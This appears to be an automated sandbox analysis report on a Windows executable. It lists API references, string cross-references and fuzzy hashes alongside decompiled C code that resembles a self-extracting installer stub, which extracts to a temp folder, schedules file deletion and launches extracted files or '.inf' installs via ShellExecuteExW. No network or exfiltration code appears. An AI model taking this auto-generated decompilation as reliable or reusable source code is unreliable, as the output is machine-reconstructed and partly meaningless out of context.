0x010fd76d
0x010fd770
0x010fd793
0x010fd796
0x010fd79b
0x010fd79d
0x010fd79d
0x010fd7b3
0x010fd7b8
0x010fd772
0x010fd77e
0x010fd786
0x010fd78b
0x010fd78b
0x00000000
0x00000000
0x00000000
0x00000000
0x010fd729
0x010fd729
0x010fd729
0x010fd72c
0x00000000
0x00000000
0x010fd72e
0x010fd731
0x010fd734
0x010fd73c
0x010fd73f
0x010fd740
0x010fd743
0x00000000
0x00000000
0x00000000
0x010fd743
0x010fd745
0x00000000
0x010fd745
0x010fd716
0x010fd716
0x010fd707
0x010fd707
0x010fd70b
0x010fd70e
0x00000000
0x00000000
0x00000000
0x010fd70e
0x010fd707
0x010fd65a
0x00000000
0x010fd65a
0x010fd5ba
0x010fd5ba
0x010fd5be
0x00000000
0x00000000
0x00000000
0x010fd662
0x010fd662
0x010fd662
0x010fd66b
0x010fd66e
0x00000000
0x010fd567
0x010fd568
0x00000000
0x010fd56d
0x010fd565
0x010fd4f2
0x010fd4f4
0x00000000
0x00000000
0x00000000
0x00000000
0x010fd32d
0x010fd32d
0x010fd330
0x010fd339
0x010fd33e
0x010fd33f
0x010fd33f
0x010fd347
0x00000000
0x010fd347

APIs

__EH_prolog.LIBCMT ref: 010FD286
_wcschr.LIBVCRUNTIME ref: 010FD2A7
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,010FD268,?), ref: 010FD2C2
__fprintf_l.LIBCMT ref: 010FD7B3

Part of subcall function 011012D6: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,010FB592,00000000,?,?,?,001F0210), ref: 011012F2

Strings

$%s:, xrefs: 010FD796
*messages***, xrefs: 010FD3DA
a, xrefs: 010FD42F
RTL, xrefs: 010FD778
,, xrefs: 010FD7EE
, xrefs: 010FD5BA
@%s:, xrefs: 010FD79D, 010FD7A9
*messages***, xrefs: 010FD413
R, xrefs: 010FD425

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-980926923
Opcode ID: 092151805447171e3d67f6dd133696df86ead71785ae4d90e45c6aa4070944f4
Instruction ID: f7cf8ac0d3afb70660860b1dda88331c06364f0456cb18d7d0c9182563f4715a
Opcode Fuzzy Hash: 092151805447171e3d67f6dd133696df86ead71785ae4d90e45c6aa4070944f4
Instruction Fuzzy Hash: A912F371A0021A9ADF25DFE8DC42BEEB7B5FF58314F4040AEE395A7581EB709941CB20

Uniqueness

Uniqueness Score: -1.00%

Function 0110C9E2, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110C9E2() {
				intOrPtr _t41;
				intOrPtr _t44;
				struct HWND__* _t46;
				void* _t48;
				char _t49;

				E0110ABC4(); // executed
				_t46 = GetDlgItem( *0x1137438, 0x68);
				_t49 =  *0x1137446; // 0x1
				if(_t49 == 0) {
					_t44 =  *0x1137458; // 0x0
					E0110895E(_t44);
					ShowWindow(_t46, 5); // executed
					SendMessageW(_t46, 0xb1, 0, 0xffffffff);
					SendMessageW(_t46, 0xc2, 0, 0x11225b4);
					 *0x1137446 = 1;
				}
				SendMessageW(_t46, 0xb1, 0x5f5e100, 0x5f5e100);
				 *(_t48 + 0x10) = 0x5c;
				SendMessageW(_t46, 0x43a, 0, _t48 + 0x10);
				 *((char*)(_t48 + 0x29)) = 0;
				_t41 =  *((intOrPtr*)(_t48 + 0x70));
				 *((intOrPtr*)(_t48 + 0x14)) = 1;
				if(_t41 != 0) {
					 *((intOrPtr*)(_t48 + 0x24)) = 0xa0;
					 *((intOrPtr*)(_t48 + 0x14)) = 0x40000001;
					 *(_t48 + 0x18) =  *(_t48 + 0x18) & 0xbfffffff | 1;
				}
				SendMessageW(_t46, 0x444, 1, _t48 + 0x10);
				SendMessageW(_t46, 0xc2, 0,  *(_t48 + 0x74));
				SendMessageW(_t46, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_t41 != 0) {
					 *(_t48 + 0x18) =  *(_t48 + 0x18) & 0xfffffffe | 0x40000000;
					SendMessageW(_t46, 0x444, 1, _t48 + 0x10);
				}
				return SendMessageW(_t46, 0xc2, 0, L"\r\n");
			}

0x0110c9e9
0x0110ca03
0x0110ca08
0x0110ca0e
0x0110ca10
0x0110ca16
0x0110ca1e
0x0110ca29
0x0110ca37
0x0110ca3d
0x0110ca3d
0x0110ca4d
0x0110ca57
0x0110ca67
0x0110ca6f
0x0110ca73
0x0110ca78
0x0110ca7e
0x0110ca89
0x0110ca93
0x0110ca9b
0x0110ca9b
0x0110caab
0x0110cab9
0x0110cac8
0x0110cad0
0x0110cade
0x0110caef
0x0110caef
0x0110cb0b

APIs

Part of subcall function 0110ABC4: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0110ABD5
Part of subcall function 0110ABC4: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0110ABE6
Part of subcall function 0110ABC4: IsDialogMessageW.USER32(001F0210,?), ref: 0110ABFA
Part of subcall function 0110ABC4: TranslateMessage.USER32(?), ref: 0110AC08
Part of subcall function 0110ABC4: DispatchMessageW.USER32(?), ref: 0110AC12

GetDlgItem.USER32(00000068,0114DCA8), ref: 0110C9F6
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,?,?,?,0110A5B2), ref: 0110CA1E
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0110CA29
SendMessageW.USER32(00000000,000000C2,00000000,011225B4), ref: 0110CA37
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0110CA4D
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0110CA67
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0110CAAB
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0110CAB9
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0110CAC8
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0110CAEF
SendMessageW.USER32(00000000,000000C2,00000000,0112331C), ref: 0110CAFE

Strings

\, xrefs: 0110CA57

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 1f900cec4993e2721a53c63669fb9aa44ba19797beebdd7172149a22ea0d503b
Instruction ID: ce97ff85b3f05a278fc48d4ee5ef027f54e47d739ffc43b38b7f3ad9e97f6158
Opcode Fuzzy Hash: 1f900cec4993e2721a53c63669fb9aa44ba19797beebdd7172149a22ea0d503b
Instruction Fuzzy Hash: C631F371244381FBE326DF20DC4AFAB7FACEB42324F000928F661961C4E76559448BB6

Uniqueness

Uniqueness Score: -1.00%

Function 0110CC9F, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 178
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0110CC9F(void* __ebp, struct _SHELLEXECUTEINFOW _a4, char* _a8, char* _a16, signed short* _a20, signed short* _a24, int _a32, char _a52, void* _a56, char _a64, struct HWND__* _a4160, signed short* _a4168, intOrPtr _a4172) {
				signed short _v0;
				long _v4;
				void* __edi;
				int _t54;
				signed int _t57;
				signed short* _t58;
				long _t68;
				int _t77;
				intOrPtr _t80;
				signed int _t81;
				signed short* _t82;
				signed short _t83;
				long _t86;
				signed short* _t87;
				void* _t88;
				signed short* _t91;
				struct HWND__* _t93;
				void* _t94;
				void* _t95;
				void* _t98;

				_t94 = __ebp;
				_t54 = 0x1040;
				E0110E1C0();
				_t91 = _a4168;
				_t77 = 0;
				if( *_t91 == 0) {
					L55:
					return _t54;
				}
				_t54 = E011133F3(_t91);
				if(0x1040 >= 0x7f6) {
					goto L55;
				} else {
					_t86 = 0x3c;
					E0110F1A0(_t86,  &_a4, 0, _t86);
					_t80 = _a4172;
					_t98 = _t98 + 0xc;
					_a4.cbSize = _t86;
					_a8 = 0x1c0;
					if(_t80 != 0) {
						_a8 = 0x5c0;
					}
					_t81 =  *_t91 & 0x0000ffff;
					_t87 =  &(_t91[1]);
					_push(_t94);
					_t95 = 0x22;
					if(_t81 != _t95) {
						_t87 = _t91;
					}
					_a20 = _t87;
					_t57 = _t77;
					if(_t81 == 0) {
						L13:
						_t58 = _a24;
						L14:
						if(_t58 == 0 ||  *_t58 == _t77) {
							if(_t80 == 0 &&  *0x113a472 != _t77) {
								_a24 = 0x113a472;
							}
						}
						_a32 = 1;
						_t88 = E010FB3D3(_t87);
						if(_t88 != 0 && E01101708(_t88, L".inf") == 0) {
							_a16 = L"Install";
						}
						if(E010FA0C0(_a20) != 0) {
							E010FB179(_a20,  &_a64, 0x800);
							_a8 =  &_a52;
						}
						_t54 = ShellExecuteExW( &_a4); // executed
						if(_t54 != 0) {
							_t93 = _a4160;
							if( *0x1138468 != _t77 || _a4168 != _t77 ||  *0x114dc91 != _t77) {
								if(_t93 != 0 && IsWindowVisible(_t93) != 0) {
									ShowWindow(_t93, _t77);
									_t77 = 1;
								}
								WaitForInputIdle(_a56, 0x7d0); // executed
								E0110D163(_a56); // executed
								if( *0x114dc91 != 0 && _a4168 == 0 && GetExitCodeProcess(_a56,  &_v4) != 0) {
									_t68 = _v4;
									if(_t68 >  *0x114dc94) {
										 *0x114dc94 = _t68;
									}
									 *0x114dc92 = 1;
								}
							}
							CloseHandle(_a56);
							if(_t88 == 0 || E01101708(_t88, L".exe") != 0) {
								_t54 = _a4168;
								if( *0x1138468 != 0 && _t54 == 0 &&  *0x114dc91 == _t54) {
									 *0x114dc98 = 0x1b58;
								}
							} else {
								_t54 = _a4168;
							}
							if(_t77 != 0 && _t54 != 0) {
								_t54 = ShowWindow(_t93, 1);
							}
						}
						goto L55;
					}
					_t82 = _t91;
					_v0 = 0x20;
					do {
						if( *_t82 == _t95) {
							while(1) {
								_t57 = _t57 + 1;
								if(_t91[_t57] == _t77) {
									break;
								}
								if(_t91[_t57] == _t95) {
									_t83 = _v0;
									_t91[_t57] = _t83;
									L10:
									if(_t91[_t57] == _t83 ||  *((short*)(_t91 + 2 + _t57 * 2)) == 0x2f) {
										if(_t91[_t57] == _v0) {
											_t91[_t57] = 0;
										}
										_t58 =  &(_t91[_t57 + 1]);
										_a24 = _t58;
										goto L14;
									} else {
										goto L12;
									}
								}
							}
						}
						_t83 = _v0;
						goto L10;
						L12:
						_t57 = _t57 + 1;
						_t82 =  &(_t91[_t57]);
					} while ( *_t82 != _t77);
					goto L13;
				}
			}

0x0110cc9f
0x0110cc9f
0x0110cca4
0x0110ccab
0x0110ccb2
0x0110ccb7
0x0110cf05
0x0110cf0d
0x0110cf0d
0x0110ccbe
0x0110ccc9
0x00000000
0x0110cccf
0x0110ccd2
0x0110ccda
0x0110ccdf
0x0110cce6
0x0110cce9
0x0110cced
0x0110ccf7
0x0110ccf9
0x0110ccf9
0x0110cd01
0x0110cd04
0x0110cd07
0x0110cd0a
0x0110cd0e
0x0110cd10
0x0110cd10
0x0110cd12
0x0110cd16
0x0110cd1b
0x0110cd53
0x0110cd53
0x0110cd57
0x0110cd5a
0x0110cd63
0x0110cd6e
0x0110cd6e
0x0110cd63
0x0110cd77
0x0110cd84
0x0110cd88
0x0110cd99
0x0110cd99
0x0110cdac
0x0110cdbc
0x0110cdc5
0x0110cdc5
0x0110cdce
0x0110cdd6
0x0110cddc
0x0110cde9
0x0110cdfe
0x0110ce0d
0x0110ce13
0x0110ce13
0x0110ce1e
0x0110ce28
0x0110ce34
0x0110ce53
0x0110ce5d
0x0110ce5f
0x0110ce5f
0x0110ce64
0x0110ce64
0x0110ce34
0x0110ce6f
0x0110ce77
0x0110ce8f
0x0110ce96
0x0110cea4
0x0110cea4
0x0110ceec
0x0110ceec
0x0110ceec
0x0110cef5
0x0110cefe
0x0110cefe
0x0110cef5
0x00000000
0x0110cf04
0x0110cd1d
0x0110cd1f
0x0110cd27
0x0110cd2a
0x0110ceb6
0x0110ceb6
0x0110cebb
0x00000000
0x00000000
0x0110ceb4
0x0110cec2
0x0110cec6
0x0110cd34
0x0110cd38
0x0110ced7
0x0110cedb
0x0110cedb
0x0110cee0
0x0110cee3
0x00000000
0x00000000
0x00000000
0x00000000
0x0110cd38
0x0110ceb4
0x0110cebd
0x0110cd30
0x00000000
0x0110cd4a
0x0110cd4a
0x0110cd4b
0x0110cd4e
0x00000000
0x0110cd27

APIs

ShellExecuteExW.SHELL32(?), ref: 0110CDCE
IsWindowVisible.USER32(?), ref: 0110CE01
ShowWindow.USER32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0110CE0D
WaitForInputIdle.USER32(?,000007D0), ref: 0110CE1E
GetExitCodeProcess.KERNEL32 ref: 0110CE49
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0110CE6F
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0110CEFE

Part of subcall function 01101708: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011708,010FBA45,00000000,.exe,?,?,00000800,?,?,0110854F,?), ref: 0110171E

Strings

, xrefs: 0110CD1F
.exe, xrefs: 0110CE79
.inf, xrefs: 0110CD8A

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Show$CloseCodeCompareExecuteExitHandleIdleInputProcessShellStringVisibleWait
String ID: $.exe$.inf
API String ID: 1693144567-2452507128
Opcode ID: 1b2b70d493aa5c176ae18dc5c9b35c2c1e8323ad07e0f858e32cd604858ef3ff
Instruction ID: 70b4232abff887b45642aadacd58c07b925274788fc17ed23c247cce820ecea8
Opcode Fuzzy Hash: 1b2b70d493aa5c176ae18dc5c9b35c2c1e8323ad07e0f858e32cd604858ef3ff
Instruction Fuzzy Hash: B361BE308043919BEB3B9B28D4447ABBFE5AB85744F044A9DEAD4931D4E7F18885CFD2

Uniqueness

Uniqueness Score: -1.00%

Function 0110C3AB, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0110C3AB(intOrPtr __ebx, void* __ecx) {
				intOrPtr _t207;
				void* _t208;
				intOrPtr _t259;
				signed int _t273;
				void* _t276;
				signed int _t277;
				void* _t281;

				L0:
				while(1) {
					L0:
					_t259 = __ebx;
					if(__ebx != 1) {
						goto L110;
					}
					L94:
					__eax = __ebp - 0x7c84;
					__edi = 0x800;
					__eax = GetTempPathW(0x800, __ebp - 0x7c84); // executed
					__ebp - 0x7c84 = E010FB147(__eflags, __ebp - 0x7c84, 0x800);
					__eax = 0;
					__esi = 0;
					_push(0);
					while(1) {
						L96:
						_push( *0x112d5f8);
						__ebp - 0x7c84 = E010F3FD6(0x113846a, __edi, L"%s%s%u", __ebp - 0x7c84);
						__eax = E010FA0C0(0x113846a);
						__eflags = __al;
						if(__al == 0) {
							break;
						}
						L95:
						__esi =  &(__esi->i);
						__eflags = __esi;
						_push(__esi);
					}
					L97:
					__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x113846a); // executed
					__eflags =  *(__ebp - 0x5c84);
					if( *(__ebp - 0x5c84) == 0) {
						while(1) {
							L162:
							_push(0x1000);
							_t195 = _t281 - 0xe; // 0xffffa36e
							_t196 = _t281 - 0xd; // 0xffffa36f
							_t197 = _t281 - 0x5c84; // 0xffff46f8
							_t198 = _t281 - 0xfc8c; // 0xfffea6f0
							_push( *((intOrPtr*)(_t281 + 0xc)));
							_t207 = E0110A986();
							_t259 =  *((intOrPtr*)(_t281 + 0x10));
							 *((intOrPtr*)(_t281 + 0xc)) = _t207;
							if(_t207 != 0) {
								_t208 = _t281 - 0x5c84;
								_t276 = _t281 - 0x1bc8c;
								_t273 = 6;
								goto L2;
							} else {
								break;
							}
							L4:
							while(E01101708(_t281 - 0xfc8c,  *((intOrPtr*)(0x112d618 + _t277 * 4))) != 0) {
								_t277 = _t277 + 1;
								if(_t277 < 0xe) {
									continue;
								} else {
									goto L162;
								}
							}
							__eflags = _t277 - 0xd;
							if(__eflags > 0) {
								continue;
							}
							L8:
							switch( *((intOrPtr*)(_t277 * 4 +  &M0110C929))) {
								case 0:
									L9:
									__eflags = _t259 - 2;
									if(_t259 == 2) {
										E01109D58(_t281 - 0x7c84, 0x800);
										E010FA3DD(E010FB8A5(_t281 - 0x7c84, _t281 - 0x5c84, _t281 - 0xdc8c, 0x800), _t259, _t281 - 0x8c8c, _t277);
										 *(_t281 - 4) = 0;
										E010FA517(_t281 - 0x8c8c, _t281 - 0xdc8c);
										E010F7098(_t281 - 0x3c84);
										while(1) {
											L23:
											_push(0);
											_t267 = _t281 - 0x8c8c;
											_t222 = E010FA46A(_t281 - 0x8c8c, _t272, _t281 - 0x3c84);
											__eflags = _t222;
											if(_t222 == 0) {
												break;
											}
											L11:
											SetFileAttributesW(_t281 - 0x3c84, 0);
											__eflags =  *(_t281 - 0x2c78);
											if(__eflags == 0) {
												L16:
												_t226 = GetFileAttributesW(_t281 - 0x3c84);
												__eflags = _t226 - 0xffffffff;
												if(_t226 == 0xffffffff) {
													continue;
												}
												L17:
												_t228 = DeleteFileW(_t281 - 0x3c84);
												__eflags = _t228;
												if(_t228 != 0) {
													continue;
												} else {
													_t279 = 0;
													_push(0);
													goto L20;
													L20:
													E010F3FD6(_t281 - 0x103c, 0x800, L"%s.%d.tmp", _t281 - 0x3c84);
													_t283 = _t283 + 0x14;
													_t233 = GetFileAttributesW(_t281 - 0x103c);
													__eflags = _t233 - 0xffffffff;
													if(_t233 != 0xffffffff) {
														_t279 = _t279 + 1;
														__eflags = _t279;
														_push(_t279);
														goto L20;
													} else {
														_t236 = MoveFileW(_t281 - 0x3c84, _t281 - 0x103c);
														__eflags = _t236;
														if(_t236 != 0) {
															MoveFileExW(_t281 - 0x103c, 0, 4);
														}
														continue;
													}
												}
											}
											L12:
											E010FB437(_t267, __eflags, _t281 - 0x7c84, _t281 - 0x103c, 0x800);
											E010FB147(__eflags, _t281 - 0x103c, 0x800);
											_t280 = E011133F3(_t281 - 0x7c84);
											__eflags = _t280 - 4;
											if(_t280 < 4) {
												L14:
												_t247 = E010FB865(_t281 - 0x5c84);
												__eflags = _t247;
												if(_t247 != 0) {
													break;
												}
												L15:
												_t250 = E011133F3(_t281 - 0x3c84);
												__eflags = 0;
												 *((short*)(_t281 + _t250 * 2 - 0x3c82)) = 0;
												E0110F1A0(0x800, _t281 - 0x3c, 0, 0x1e);
												_t283 = _t283 + 0x10;
												 *((intOrPtr*)(_t281 - 0x38)) = 3;
												_push(0x14);
												_pop(_t253);
												 *((short*)(_t281 - 0x2c)) = _t253;
												 *((intOrPtr*)(_t281 - 0x34)) = _t281 - 0x3c84;
												SHFileOperationW(_t281 - 0x3c);
												goto L16;
											}
											L13:
											_t258 = E011133F3(_t281 - 0x103c);
											__eflags = _t280 - _t258;
											if(_t280 > _t258) {
												goto L15;
											}
											goto L14;
										}
										L24:
										 *(_t281 - 4) =  *(_t281 - 4) | 0xffffffff;
										E010FA3F3(_t281 - 0x8c8c);
									}
									goto L162;
								case 1:
									L25:
									__eflags = __ebx;
									if(__ebx == 0) {
										__eax = E011133F3(__esi);
										__eax = __eax + __edi;
										_push(__eax);
										_push( *0x114cc7c);
										__eax = E0111341E(__ecx, __edx);
										__esp = __esp + 0xc;
										__eflags = __eax;
										if(__eax != 0) {
											 *0x114cc7c = __eax;
											__eflags = __bl;
											if(__bl != 0) {
												__ecx = 0;
												__eflags = 0;
												 *__eax = __cx;
											}
											__eax = E01116FAD(__eax, __esi);
											_pop(__ecx);
											_pop(__ecx);
										}
										__eflags = __bh;
										if(__bh == 0) {
											__eax = L0111340E(__esi);
										}
									}
									goto L162;
								case 2:
									L39:
									__eflags = __ebx;
									if(__ebx == 0) {
										__ebp - 0x5c84 = SetWindowTextW( *(__ebp + 8), __ebp - 0x5c84);
									}
									goto L162;
								case 3:
									L41:
									__eflags = __ebx;
									if(__ebx != 0) {
										goto L162;
									}
									L42:
									__eflags =  *0x1139472 - __di;
									if( *0x1139472 != __di) {
										goto L162;
									}
									L43:
									__eax = 0;
									__edi = __ebp - 0x5c84;
									_push(0x22);
									 *(__ebp - 0x103c) = __ax;
									_pop(__eax);
									__eflags =  *(__ebp - 0x5c84) - __ax;
									if( *(__ebp - 0x5c84) == __ax) {
										__edi = __ebp - 0x5c82;
									}
									__eax = E011133F3(__edi);
									__esi = 0x800;
									__eflags = __eax - 0x800;
									if(__eax >= 0x800) {
										goto L162;
									} else {
										L46:
										__eax =  *__edi & 0x0000ffff;
										_push(0x5c);
										_pop(__ecx);
										__eflags = ( *__edi & 0x0000ffff) - 0x2e;
										if(( *__edi & 0x0000ffff) != 0x2e) {
											L50:
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												L62:
												__ebp - 0x103c = E010FFD96(__ebp - 0x103c, __edi, __esi);
												__ebx = 0;
												__eflags = 0;
												L63:
												_push(0x22);
												_pop(__eax);
												__eax = __ebp - 0x103c;
												__eax = E0111161B(__ebp - 0x103c, __ebp - 0x103c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__eflags =  *((intOrPtr*)(__eax + 2)) - __bx;
													if( *((intOrPtr*)(__eax + 2)) == __bx) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
												}
												__eax = __ebp - 0x103c;
												__edi = 0x1139472;
												E010FFD96(0x1139472, __ebp - 0x103c, __esi) = __ebp - 0x103c;
												__eax = E0110A81F(__ebp - 0x103c, __esi);
												__esi = GetDlgItem( *(__ebp + 8), 0x66);
												__ebp - 0x103c = SetWindowTextW(__esi, __ebp - 0x103c);
												__eax = SendMessageW(__esi, 0x143, __ebx, 0x1139472);
												__eax = __ebp - 0x103c;
												__eax = E01113429(__ebp - 0x103c, 0x1139472, __eax);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__ebp - 0x103c = SendMessageW(__esi, 0x143, __ebx, __ebp - 0x103c);
												}
												goto L162;
											}
											L51:
											__eflags = __ax;
											if(__ax == 0) {
												L53:
												__eax = __ebp - 0x18;
												__ebx = 0;
												_push(__ebp - 0x18);
												_push(1);
												_push(0);
												_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
												_push(0x80000002);
												__eax =  *0x1151028();
												__eflags = __eax;
												if(__eax == 0) {
													__eax = __ebp - 0x14;
													 *(__ebp - 0x14) = 0x1000;
													_push(__ebp - 0x14);
													__eax = __ebp - 0x103c;
													_push(__ebp - 0x103c);
													__eax = __ebp - 0x1c;
													_push(__ebp - 0x1c);
													_push(0);
													_push(L"ProgramFilesDir");
													_push( *(__ebp - 0x18));
													__eax =  *0x1151024();
													_push( *(__ebp - 0x18));
													 *0x1151004() =  *(__ebp - 0x14);
													__ecx = 0x7ff;
													__eax =  *(__ebp - 0x14) >> 1;
													__eflags = __eax - 0x7ff;
													if(__eax >= 0x7ff) {
														__eax = 0x7ff;
													}
													__ecx = 0;
													__eflags = 0;
													 *((short*)(__ebp + __eax * 2 - 0x103c)) = __cx;
												}
												__eflags =  *(__ebp - 0x103c) - __bx;
												if( *(__ebp - 0x103c) != __bx) {
													__eax = __ebp - 0x103c;
													__eax = E011133F3(__ebp - 0x103c);
													_push(0x5c);
													_pop(__ecx);
													__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x103e)) - __cx;
													if(__eflags != 0) {
														__ebp - 0x103c = E010FFD6E(__eflags, __ebp - 0x103c, "\\", __esi);
													}
												}
												__esi = E011133F3(__edi);
												__eax = __ebp - 0x103c;
												__eflags = __esi - 0x7ff;
												__esi = 0x800;
												if(__eflags < 0) {
													__ebp - 0x103c = E010FFD6E(__eflags, __ebp - 0x103c, __edi, 0x800);
												}
												goto L63;
											}
											L52:
											__eflags =  *((short*)(__edi + 2)) - 0x3a;
											if( *((short*)(__edi + 2)) == 0x3a) {
												goto L62;
											}
											goto L53;
										}
										L47:
										__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
										if( *((intOrPtr*)(__edi + 2)) != __cx) {
											goto L50;
										}
										L48:
										__edi = __edi + 4;
										__ebx = 0;
										__eflags =  *__edi - __bx;
										if( *__edi == __bx) {
											goto L162;
										} else {
											__ebp - 0x103c = E010FFD96(__ebp - 0x103c, __edi, 0x800);
											goto L63;
										}
									}
								case 4:
									L68:
									__eflags =  *0x113946c - 1;
									__eflags = __eax - 0x113946c;
									 *__edi =  *__edi + __ecx;
									__eflags =  *(__ebx + 6) & __bl;
									 *__eax =  *__eax + __al;
									__eflags =  *__eax;
								case 5:
									L73:
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__ecx = 0;
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__eflags = __eax;
									if(__eax == 0) {
										L80:
										 *0x1137442 = __cl;
										 *0x1137443 = 1;
										goto L162;
									}
									L74:
									__eax = __eax - 0x30;
									__eflags = __eax;
									if(__eax == 0) {
										L78:
										 *0x1137442 = __cl;
										L79:
										 *0x1137443 = __cl;
										goto L162;
									}
									L75:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax == 0) {
										goto L80;
									}
									L76:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax != 0) {
										goto L162;
									}
									L77:
									 *0x1137442 = 1;
									goto L79;
								case 6:
									L86:
									__eflags = __ebx - 4;
									if(__ebx != 4) {
										goto L90;
									}
									L87:
									__eax = __ebp - 0x5c84;
									__eax = E01113429(__ebp - 0x5c84, __eax, L"<>");
									_pop(__ecx);
									_pop(__ecx);
									__eflags = __eax;
									if(__eax == 0) {
										goto L90;
									}
									L88:
									_push(__edi);
									goto L89;
								case 7:
									goto L0;
								case 8:
									L114:
									__eflags = __ebx - 3;
									if(__ebx == 3) {
										__eflags =  *(__ebp - 0x5c84) - __di;
										if(__eflags != 0) {
											__eax = __ebp - 0x5c84;
											_push(__ebp - 0x5c84);
											__eax = E01116F4C(__ebx, __edi);
											_pop(__ecx);
											 *0x114dc8c = __eax;
										}
										__eax = __ebp + 0xc;
										_push(__ebp + 0xc);
										 *0x114dc88 = E0110AAEA(__ecx, __edx, __eflags);
									}
									 *0x1145b73 = 1;
									goto L162;
								case 9:
									L119:
									__eflags = __ebx - 5;
									if(__ebx != 5) {
										L90:
										 *0x114dc90 = 1;
										goto L162;
									}
									L120:
									_push(1);
									L89:
									__eax = __ebp - 0x5c84;
									_push(__ebp - 0x5c84);
									_push( *(__ebp + 8));
									__eax = E0110CC9F(__ebp);
									goto L90;
								case 0xa:
									L121:
									__eflags = __ebx - 6;
									if(__ebx != 6) {
										goto L162;
									}
									L122:
									__eax = 0;
									 *(__ebp - 0x2c3c) = __ax;
									__eax =  *(__ebp - 0x1bc8c) & 0x0000ffff;
									__eax = E01116280( *(__ebp - 0x1bc8c) & 0x0000ffff);
									_push(0x800);
									__eflags = __eax - 0x50;
									if(__eax == 0x50) {
										_push(0x114ab7a);
										__eax = __ebp - 0x2c3c;
										_push(__ebp - 0x2c3c);
										__eax = E010FFD96();
										 *(__ebp - 0x14) = 2;
									} else {
										__eflags = __eax - 0x54;
										__eax = __ebp - 0x2c3c;
										if(__eflags == 0) {
											_push(0x1149b7a);
											_push(__eax);
											__eax = E010FFD96();
											 *(__ebp - 0x14) = 7;
										} else {
											_push(0x114bb7a);
											_push(__eax);
											__eax = E010FFD96();
											 *(__ebp - 0x14) = 0x10;
										}
									}
									__eax = 0;
									 *(__ebp - 0x9c8c) = __ax;
									 *(__ebp - 0x1c3c) = __ax;
									__ebp - 0x19c8c = __ebp - 0x6c84;
									__eax = E01115646(__ebp - 0x6c84, __ebp - 0x19c8c);
									_pop(__ecx);
									_pop(__ecx);
									_push(0x22);
									_pop(__ebx);
